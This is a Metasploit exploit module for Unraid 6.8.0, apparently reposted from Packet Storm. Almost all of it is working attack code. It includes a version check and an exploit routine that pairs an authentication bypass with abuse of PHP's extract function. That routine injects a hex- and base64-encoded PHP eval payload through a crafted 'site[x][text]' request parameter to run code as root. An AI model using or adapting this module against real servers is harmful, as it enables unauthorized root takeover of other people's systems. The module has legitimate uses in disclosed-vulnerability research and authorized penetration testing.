Unraid 6.8.0 Authentication Bypass / Arbitrary Code Execution ≈ Packet Storm

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unraid 6.8.0 Auth Bypass PHP Code Execution',
'Description' => %q{
This module exploits two vulnerabilities affecting Unraid 6.8.0.
An authentication bypass is used to gain access to the administrative
interface, and an insecure use of the extract PHP function can be abused
for arbitrary code execution as root.
},
'Author' =>
[
'Nicolas CHATELAIN <Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser.>'
],
'References' =>
[
[ 'CVE', '2020-5847' ],
[ 'CVE', '2020-5849' ],
[ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ],
[ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ]
],
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 10 2020'
)
)

register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/'])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET'
)

unless res
return CheckCode::Unknown('Connection failed')
end

unless res.code == 200
return CheckCode::Safe('Unexpected reply')
end

/\sVersion:\s(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})&nbsp;/ =~ res.body

if version && Gem::Version.new(version) == Gem::Version.new('6.8.0')
return CheckCode::Appears("Unraid version #{version} appears to be vulnerable")
end

CheckCode::Safe
end

def exploit
begin
vprint_status('Sending exploit code')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET',
'encode_params' => false,
'vars_get' =>
{
'path' => 'x',
'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
}
)

if res.nil?
print_good('Request timed out, OK if running a non-forking/blocking payload...')
elsif res.code == 302
fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
else
print_warning("Unexpected response code #{res.code}, please check your payload.")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end